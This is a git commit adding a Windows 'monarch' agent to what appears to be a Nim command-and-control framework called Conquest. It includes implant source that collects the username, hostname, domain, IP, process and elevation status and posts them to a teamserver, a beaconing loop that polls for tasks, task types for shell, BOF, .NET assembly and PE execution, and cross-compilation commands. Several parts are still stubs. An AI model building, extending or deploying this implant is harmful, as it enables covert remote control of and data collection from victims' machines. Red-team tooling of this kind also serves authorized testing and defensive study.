Added monarch agent

This commit is contained in:
Jakob Friedl
2025-05-19 21:56:34 +02:00
parent 0a98d11df2
commit c55a9f9443
10 changed files with 215 additions and 12 deletions

2
.gitignore vendored
View File

@@ -1,5 +1,5 @@
# Ignore agents # Ignore agents
agents/ # agents/
*.db *.db
# Ignore binaries # Ignore binaries
*/bin/* */bin/*

13
agents/README.md Normal file
View File

@@ -0,0 +1,13 @@
# Conquest Agents
For cross-compilation from UNIX to Windows, use the following command:
```bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
```
or
```
./build.sh
```

View File

@@ -0,0 +1,65 @@
import winim, os, net
import ./types
# Username
proc getUsername*(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Hostname/Computername
proc getHostname*(): string =
var
buffer = newWString(CNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Domain Name
proc getDomain*(): string =
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
return $buffer[ 0 ..< int(dwSize)]
# Current process name
proc getProcessExe*(): string =
let
hProcess: HANDLE = GetCurrentProcess()
buffer = newWString(MAX_PATH + 1)
try:
if hProcess != 0:
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
return string($buffer).extractFilename()
finally:
CloseHandle(hProcess)
# Current process ID
proc getProcessId*(): int =
return int(GetCurrentProcessId())
# Current process elevation/integrity level
proc isElevated*(): bool =
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
return isAdmin()
# IPv4 Address (Internal)
proc getIPv4Address*(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version
proc getOSVersion*(): string =
discard

3
agents/monarch/build.sh Normal file
View File

@@ -0,0 +1,3 @@
#!/bin/bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim

40
agents/monarch/client.nim Normal file
View File

@@ -0,0 +1,40 @@
import strformat, os, times
import winim
import ./[types, http]
import commands/shell
proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
let listener = "NVIACCXB"
let agent = register(listener)
echo fmt"[+] [{agent}] Agent registered."
#[
Infinite Routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
]#
while true:
sleep(10 * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking for tasks..."
discard getTasks(listener, agent)
when isMainModule:
main()

View File

@@ -0,0 +1,3 @@
import winim
import ../types

54
agents/monarch/http.nim Normal file
View File

@@ -0,0 +1,54 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
proc register*(listener: string): string =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated()
}
echo $body
try:
# Register agent to the Conquest server
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
return responseBody
except HttpRequestError as err:
echo "Registration failed"
quit(0)
finally:
client.close()
proc getTasks*(listener: string, agent: string): seq[Task] =
let client = newAsyncHttpClient()
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
echo responseBody
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener: string, agent: string, results: string) =
discard

25
agents/monarch/types.nim Normal file
View File

@@ -0,0 +1,25 @@
import winim
type
TaskCommand* = enum
ExecuteShell = "shell"
ExecuteBof = "bof"
ExecuteAssembly = "dotnet"
ExecutePe = "pe"
TaskStatus* = enum
Created = "created"
Completed = "completed"
Pending = "pending"
Failed = "failed"
Cancelled = "cancelled"
TaskResult* = string
Task* = ref object
id*: int
agent*: string
command*: TaskCommand
args*: seq[string]
result*: TaskResult
status*: TaskStatus

View File

@@ -1,5 +1,5 @@
import terminal, strformat, strutils, tables import terminal, strformat, strutils, tables
import ./commands import ./interact
import ../[types, globals, utils] import ../[types, globals, utils]
import ../db/database import ../db/database
@@ -131,11 +131,4 @@ proc register*(agent: Agent): bool =
cq.add(agent) cq.add(agent)
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true return true
#[
Agent interaction mode
When interacting with a agent, the following functions are called:
- addTask, to add a new tasks to the agents task queue
- getTaskResult, get the result for the task from the agent
]#

View File

@@ -2,7 +2,7 @@ import argparse, times, strformat, terminal
import ../[types] import ../[types]
#[ #[
Agnet Argument parsing Agent Argument parsing
]# ]#
var parser = newParser: var parser = newParser:
help("Conquest Command & Control") help("Conquest Command & Control")
@@ -44,4 +44,11 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
except UsageError: except UsageError:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg()) cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
cq.writeLine("") cq.writeLine("")
proc createTask*(args: varargs[string]): Task =
discard
proc addTask*(cq: Conquest, agent: Agent, task: Task) =
discard